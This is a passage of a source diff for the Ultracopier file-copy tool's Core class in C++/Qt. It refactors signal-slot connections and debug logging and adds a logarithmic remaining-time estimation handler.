- copyList[index].lastSpeedDetected.clear();
- copyList[index].lastSpeedTime.clear();
-}
-
-void Core::actionInProgess(const EngineActionInProgress &action)
-{
- index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("action: %1, from %2").arg(action).arg(index));
- //drop here the duplicate action
- if(copyList[index].action==action)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("The copy engine have send 2x the same EngineActionInProgress"));
- return;
- }
- //update time runing for time remaning caculation
- if(action==Copying || action==CopyingAndListing)
- {
- if(!copyList.at(index).isRunning)
- {
- copyList[index].isRunning=true;
- copyList[index].runningTime.restart();
- }
- }
- else
- {
- if(copyList.at(index).isRunning)
- {
- copyList[index].isRunning=false;
- copyList[index].baseTime+=copyList[index].runningTime.elapsed();
- }
- }
- //do sync
- periodicSynchronization(index);
- copyList[index].action=action;
- if(copyList.at(index).interface!=NULL)
- copyList.at(index).interface->actionInProgess(action);
- if(action==Idle)
- {
- index_sub_loop=0;
- loop_size=copyList.at(index).orderId.size();
- while(index_sub_loop<loop_size)
- {
- emit copyCanceled(copyList.at(index).orderId.at(index_sub_loop));
- index_sub_loop++;
- }
- copyList[index].orderId.clear();
- resetSpeedDetected(index);
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the interface sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start on %1").arg(index));
+ switch(copyList.at(index).remainingTimeAlgo)
+ {
+ case Ultracopier::RemainingTimeAlgo_Logarithmic:
+ {
+ int sub_index=0;
+ while(sub_index<ULTRACOPIER_MAXREMAININGTIMECOL)
+ {
+ copyList[index].remainingTimeLogarithmicValue[sub_index].lastProgressionSpeed.clear();
+ copyList[index].remainingTimeLogarithmicValue[sub_index].totalSize=0;
+ copyList[index].remainingTimeLogarithmicValue[sub_index].transferedSize=0;
+ sub_index++;
+ }
+ }
+ default:
+ case Ultracopier::RemainingTimeAlgo_Traditional:
+ copyList[index].lastSpeedDetected.clear();
+ copyList[index].lastSpeedTime.clear();
+ copyList[index].lastAverageSpeedDetected.clear();
+ copyList[index].lastAverageSpeedTime.clear();
+ break;
+ }
}
-void Core::newFolderListing(const QString &path)
+void Core::doneTime(const QList<QPair<quint64,quint32> > &timeList)
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- copyList[index].folderListing=path;
- copyList.at(index).interface->newFolderListing(path);
- }
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ switch(copyList.at(index).remainingTimeAlgo)
+ {
+ case Ultracopier::RemainingTimeAlgo_Logarithmic:
+ if(copyList.at(index).remainingTimeLogarithmicValue.size()<ULTRACOPIER_MAXREMAININGTIMECOL)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("bug, copyList.at(index).remainingTimeLogarithmicValue.size() %1 <ULTRACOPIER_MAXREMAININGTIMECOL").arg(copyList.at(index).remainingTimeLogarithmicValue.size()));
+ else
+ {
+ int size=timeList.size();
+ int sub_index=0;
+ while(sub_index<size)
+ {
+ const QPair<quint64,quint32> &timeUnit=timeList.at(sub_index);
+ const quint8 &col=fileCatNumber(timeUnit.first);
+ if(copyList.at(index).remainingTimeLogarithmicValue.size()<=col)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("bug, copyList.at(index).remainingTimeLogarithmicValue.size() %1 < col %2").arg(copyList.at(index).remainingTimeLogarithmicValue.size()).arg(col));
+ break;
+ }
+ else
+ {
+ if(timeUnit.second>0)
+ {
+ copyList[index].remainingTimeLogarithmicValue[col].lastProgressionSpeed << timeUnit.first/timeUnit.second;
+ if(copyList[index].remainingTimeLogarithmicValue[col].lastProgressionSpeed.size()>ULTRACOPIER_MAXVALUESPEEDSTORED)
+ copyList[index].remainingTimeLogarithmicValue[col].lastProgressionSpeed.removeFirst();
+ }
+ }
+ sub_index++;
+ }
+ }
+ default:
+ case Ultracopier::RemainingTimeAlgo_Traditional:
+ break;
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the interface sender");
}
-void Core::newCollisionAction(const QString &action)
+void Core::actionInProgess(const Ultracopier::EngineActionInProgress &action)
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- copyList[index].collisionAction=action;
- copyList.at(index).interface->newCollisionAction(action);
- }
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action: %1, from %2").arg(action).arg(index));
+ //drop here the duplicate action
+ if(copyList.at(index).action==action)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("The copy engine have send 2x the same EngineActionInProgress"));
+ return;
+ }
+ //update time runing for time remaning caculation
+ if(action==Ultracopier::Copying || action==Ultracopier::CopyingAndListing)
+ {
+ if(!copyList.at(index).isRunning)
+ copyList[index].isRunning=true;
+ }
+ else
+ {
+ if(copyList.at(index).isRunning)
+ copyList[index].isRunning=false;
+ }
+ //do sync
+ periodicSynchronizationWithIndex(index);
+ copyList[index].action=action;
+ if(copyList.at(index).interface!=NULL)
+ copyList.at(index).interface->actionInProgess(action);
+ if(action==Ultracopier::Idle)
+ {
+ int index_sub_loop=0;
+ const int &loop_size=copyList.at(index).orderId.size();
+ while(index_sub_loop<loop_size)
+ {
+ emit copyCanceled(copyList.at(index).orderId.at(index_sub_loop));
+ index_sub_loop++;
+ }
+ copyList[index].orderId.clear();
+ resetSpeedDetected(index);
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the interface sender");
}
-void Core::newErrorAction(const QString &action)
+void Core::newFolderListing(const QString &path)
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- copyList[index].errorAction=action;
- copyList.at(index).interface->newErrorAction(action);
- }
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ copyList[index].folderListing=path;
+ copyList.at(index).interface->newFolderListing(path);
+ }
}
void Core::isInPause(const bool &isPaused)
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- if(!isPaused)
- resetSpeedDetected(index);
- copyList[index].isPaused=isPaused;
- copyList.at(index).interface->isInPause(isPaused);
- }
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ if(!isPaused)
+ resetSpeedDetected(index);
+ copyList[index].isPaused=isPaused;
+ copyList.at(index).interface->isInPause(isPaused);
+ }
}
/// \brief get the right copy instance (copy engine + interface), by signal emited from copy engine
int Core::indexCopySenderCopyEngine()
{
- QObject * senderObject=sender();
- if(senderObject==NULL)
- {
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Qt sender() NULL");
- return -1;
- }
- index=0;
- loop_size=copyList.size();
- while(index<loop_size)
- {
- if(copyList.at(index).engine==senderObject)
- return index;
- index++;
- }
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Sender not located in the list");
- return -1;
+ const QObject * senderObject=sender();
+ if(senderObject==NULL)
+ {
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Qt sender() NULL");
+ return -1;
+ }
+ int index=0;
+ const int &loop_size=copyList.size();
+ while(index<loop_size)
+ {
+ if(copyList.at(index).engine==senderObject)
+ return index;
+ index++;
+ }
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Sender not located in the list");
+ return -1;
}
/// \brief get the right copy instance (copy engine + interface), by signal emited from interface
int Core::indexCopySenderInterface()
{
- QObject * senderObject=sender();
- if(senderObject==NULL)
- {
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Qt sender() NULL");
- return -1;
- }
- index=0;
- loop_size=copyList.size();
- while(index<loop_size)
- {
- if(copyList.at(index).interface==senderObject)
- return index;
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to locate QObject * sender");
- PluginInterface_Themes * interface = qobject_cast<PluginInterface_Themes *>(senderObject);
- if(interface==NULL)
- {
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Qt sender themes NULL");
- return -1;
- }
- index=0;
- while(index<loop_size)
- {
- if(copyList.at(index).interface==interface)
- return index;
- index++;
- }
- //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Sender not located in the list");
- return -1;
+ QObject * senderObject=sender();
+ if(senderObject==NULL)
+ {
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Qt sender() NULL");
+ return -1;
+ }
+ int index=0;
+ const int &loop_size=copyList.size();
+ while(index<loop_size)
+ {
+ if(copyList.at(index).interface==senderObject)
+ return index;
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to locate QObject * sender");
+ PluginInterface_Themes * interface = qobject_cast<PluginInterface_Themes *>(senderObject);
+ if(interface==NULL)
+ {
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Qt sender themes NULL");
+ return -1;
+ }
+ index=0;
+ while(index<loop_size)
+ {
+ if(copyList.at(index).interface==interface)
+ return index;
+ index++;
+ }
+ //QMessageBox::critical(NULL,tr("Internal error"),tr("A communication error occured between the interface and the copy plugin. Please report this bug."));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Sender not located in the list");
+ return -1;
}
void Core::connectEngine(const int &index)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start with index: %1: %2").arg(index).arg((quint64)sender()));
- disconnectEngine(index);
-
- CopyInstance& currentCopyInstance=copyList[index];
- if(!connect(currentCopyInstance.engine,SIGNAL(newFolderListing(QString)), this,SLOT(newFolderListing(QString)),Qt::QueuedConnection))//to check to change
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for newFolderListing()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(newCollisionAction(QString)), this,SLOT(newCollisionAction(QString)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for newCollisionAction()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(newErrorAction(QString)), this,SLOT(newErrorAction(QString)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for newErrorAction()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(actionInProgess(EngineActionInProgress)), this,SLOT(actionInProgess(EngineActionInProgress)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for actionInProgess()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(isInPause(bool)), this,SLOT(isInPause(bool)),Qt::QueuedConnection))//to check to change
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for isInPause()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(cancelAll()), this,SLOT(copyInstanceCanceledByEngine()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for cancelAll()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(error(QString,quint64,QDateTime,QString)), this,SLOT(error(QString,quint64,QDateTime,QString)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for error()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(rmPath(QString)), this,SLOT(rmPath(QString)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for rmPath()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(mkPath(QString)), this,SLOT(mkPath(QString)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for mkPath()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(syncReady()), this,SLOT(syncReady()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for syncReady()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(canBeDeleted()), this,SLOT(deleteCopyEngine()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the engine can not work correctly: %1: %2 for syncReady()").arg(index).arg((quint64)sender()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start with index: %1: %2").arg(index).arg((quint64)sender()));
+ //disconnectEngine(index);
+
+ CopyInstance& currentCopyInstance=copyList[index];
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::newFolderListing, this,&Core::newFolderListing,Qt::QueuedConnection))//to check to change
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for newFolderListing()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::actionInProgess, this,&Core::actionInProgess,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for actionInProgess()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::isInPause, this,&Core::isInPause,Qt::QueuedConnection))//to check to change
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for isInPause()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::cancelAll, this,&Core::copyInstanceCanceledByEngine,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for cancelAll()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::error, this,&Core::error,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for error()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::rmPath, this,&Core::rmPath,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for rmPath()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::mkPath, this,&Core::mkPath,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for mkPath()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::syncReady, this,&Core::syncReady,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for syncReady()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::canBeDeleted, this,&Core::deleteCopyEngine,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for syncReady()").arg(index).arg((quint64)sender()));
+ if(!connect(currentCopyInstance.engine,&PluginInterface_CopyEngine::doneTime, this,&Core::doneTime,Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("error at connect, the engine can not work correctly: %1: %2 for doneTime()").arg(index).arg((quint64)sender()));
}
void Core::connectInterfaceAndSync(const int &index)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start with index: %1: %2").arg(index).arg((quint64)sender()));
- disconnectInterface(index);
-
- CopyInstance& currentCopyInstance=copyList[index];
- if(!connect(currentCopyInstance.interface,SIGNAL(pause()), currentCopyInstance.engine,SLOT(pause())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for pause()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(resume()), currentCopyInstance.engine,SLOT(resume())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for resume()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(skip(quint64)), currentCopyInstance.engine,SLOT(skip(quint64))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for skip()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(sendErrorAction(QString)), currentCopyInstance.engine,SLOT(setErrorAction(QString))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for sendErrorAction()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(newSpeedLimitation(qint64)), currentCopyInstance.engine,SLOT(setSpeedLimitation(qint64))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for newSpeedLimitation()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(sendCollisionAction(QString)), currentCopyInstance.engine,SLOT(setCollisionAction(QString))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for sendCollisionAction()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(userAddFolder(CopyMode)), currentCopyInstance.engine,SLOT(userAddFolder(CopyMode))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for userAddFolder()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(userAddFile(CopyMode)), currentCopyInstance.engine,SLOT(userAddFile(CopyMode))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for userAddFile()").arg(index).arg((quint64)sender()));
-
- if(!connect(currentCopyInstance.interface,SIGNAL(removeItems(QList<int>)), currentCopyInstance.engine,SLOT(removeItems(QList<int>))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for removeItems()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(moveItemsOnTop(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsOnTop(QList<int>))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for moveItemsOnTop()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(moveItemsUp(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsUp(QList<int>))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for moveItemsUp()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(moveItemsDown(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsDown(QList<int>))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for moveItemsDown()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(moveItemsOnBottom(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsOnBottom(QList<int>))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for moveItemsOnBottom()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(exportTransferList()), currentCopyInstance.engine,SLOT(exportTransferList())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for exportTransferList()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(importTransferList()), currentCopyInstance.engine,SLOT(importTransferList())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for importTransferList()").arg(index).arg((quint64)sender()));
-
- if(!connect(currentCopyInstance.interface,SIGNAL(newSpeedLimitation(qint64)), this,SLOT(resetSpeedDetectedInterface())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for newSpeedLimitation()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(resume()), this,SLOT(resetSpeedDetectedInterface())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for resume()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(cancel()), this,SLOT(copyInstanceCanceledByInterface()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for cancel()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.interface,SIGNAL(urlDropped(QList<QUrl>)), this,SLOT(urlDropped(QList<QUrl>)),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for urlDropped()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)),this,SLOT(getActionOnList(QList<returnActionOnCopyList>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for newActionOnList()").arg(index).arg((quint64)sender()));
-
- if(!connect(currentCopyInstance.engine,SIGNAL(pushFileProgression(QList<ProgressionItem>)), currentCopyInstance.interface,SLOT(setFileProgression(QList<ProgressionItem>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for pushFileProgression()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(pushGeneralProgression(quint64,quint64)), currentCopyInstance.interface,SLOT(setGeneralProgression(quint64,quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for pushGeneralProgression()").arg(index).arg((quint64)sender()));
- if(!connect(currentCopyInstance.engine,SIGNAL(pushGeneralProgression(quint64,quint64)), this,SLOT(pushGeneralProgression(quint64,quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("error at connect, the interface can not work correctly: %1: %2 for pushGeneralProgression() for this").arg(index).arg((quint64)sender()));
-
- currentCopyInstance.interface->setSpeedLimitation(currentCopyInstance.engine->getSpeedLimitation());
- currentCopyInstance.interface->setErrorAction(currentCopyInstance.engine->getErrorAction());
- currentCopyInstance.interface->setCollisionAction(currentCopyInstance.engine->getCollisionAction());
- currentCopyInstance.interface->setCopyType(currentCopyInstance.type);
- currentCopyInstance.interface->setTransferListOperation(currentCopyInstance.transferListOperation);
- currentCopyInstance.interface->actionInProgess(currentCopyInstance.action);
- currentCopyInstance.interface->isInPause(currentCopyInstance.isPaused);
- if(currentCopyInstance.haveError)
- currentCopyInstance.interface->errorDetected();
- QWidget *tempWidget=currentCopyInstance.interface->getOptionsEngineWidget();
- if(tempWidget!=NULL)
- currentCopyInstance.interface->getOptionsEngineEnabled(currentCopyInstance.engine->getOptionsEngine(tempWidget));
- //important, to have the modal dialog
- currentCopyInstance.engine->setInterfacePointer(currentCopyInstance.interface);
-
- //put entry into the interface
- currentCopyInstance.engine->syncTransferList();
-
- //force the updating, without wait the timer
- periodicSynchronization(index);
-}
-
-void Core::disconnectEngine(const int &index)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start with index: %1").arg(index));
-// CopyInstance& currentCopyInstance=copyList[index];
-/* disconnect(currentCopyInstance.engine,SIGNAL(newFolderListing(QString)), this,SLOT(newFolderListing(QString)));//to check to change
- disconnect(currentCopyInstance.engine,SIGNAL(newCollisionAction(QString)), this,SLOT(newCollisionAction(QString)));
- disconnect(currentCopyInstance.engine,SIGNAL(newErrorAction(QString)), this,SLOT(newErrorAction(QString)));
- disconnect(currentCopyInstance.engine,SIGNAL(actionInProgess(EngineActionInProgress)), this,SLOT(actionInProgess(EngineActionInProgress)));
- disconnect(currentCopyInstance.engine,SIGNAL(isInPause(bool)), this,SLOT(isInPause(bool)));//to check to change
- disconnect(currentCopyInstance.engine,SIGNAL(cancelAll()), this,SLOT(copyInstanceCanceledByEngine()));
- disconnect(currentCopyInstance.engine,SIGNAL(error(QString,quint64,QDateTime,QString)), this,SLOT(error(QString,quint64,QDateTime,QString)));
- disconnect(currentCopyInstance.engine,SIGNAL(rmPath(QString)), this,SLOT(rmPath(QString)));
- disconnect(currentCopyInstance.engine,SIGNAL(mkPath(QString)), this,SLOT(mkPath(QString)));*/
-
-}
-
-void Core::disconnectInterface(const int &index)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start with index: %1").arg(index));
- Q_UNUSED(index);
-/* CopyInstance& currentCopyInstance=copyList[index];
- disconnect(currentCopyInstance.interface,SIGNAL(pause()), currentCopyInstance.engine,SLOT(pause()));
- disconnect(currentCopyInstance.interface,SIGNAL(resume()), currentCopyInstance.engine,SLOT(resume()));
- disconnect(currentCopyInstance.interface,SIGNAL(skip(quint64)), currentCopyInstance.engine,SLOT(skip(quint64)));
- disconnect(currentCopyInstance.interface,SIGNAL(sendErrorAction(QString)), currentCopyInstance.engine,SLOT(setErrorAction(QString)));
- disconnect(currentCopyInstance.interface,SIGNAL(newSpeedLimitation(qint64)), currentCopyInstance.engine,SLOT(setSpeedLimitation(qint64)));
- disconnect(currentCopyInstance.interface,SIGNAL(sendCollisionAction(QString)), currentCopyInstance.engine,SLOT(setCollisionAction(QString)));
- disconnect(currentCopyInstance.interface,SIGNAL(userAddFolder(CopyMode)), currentCopyInstance.engine,SLOT(userAddFolder(CopyMode)));
- disconnect(currentCopyInstance.interface,SIGNAL(userAddFile(CopyMode)), currentCopyInstance.engine,SLOT(userAddFile(CopyMode)));
-
- disconnect(currentCopyInstance.interface,SIGNAL(removeItems(QList<int>)), currentCopyInstance.engine,SLOT(removeItems(QList<int>)));
- disconnect(currentCopyInstance.interface,SIGNAL(moveItemsOnTop(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsOnTop(QList<int>)));
- disconnect(currentCopyInstance.interface,SIGNAL(moveItemsUp(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsUp(QList<int>)));
- disconnect(currentCopyInstance.interface,SIGNAL(moveItemsDown(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsDown(QList<int>)));
- disconnect(currentCopyInstance.interface,SIGNAL(moveItemsOnBottom(QList<int>)), currentCopyInstance.engine,SLOT(moveItemsOnBottom(QList<int>)));
-
- disconnect(currentCopyInstance.interface,SIGNAL(newSpeedLimitation(qint64)), this,SLOT(resetSpeedDetectedInterface()));
- disconnect(currentCopyInstance.interface,SIGNAL(resume()), this,SLOT(resetSpeedDetectedInterface()));
- disconnect(currentCopyInstance.interface,SIGNAL(cancel()), this,SLOT(copyInstanceCanceledByInterface()));
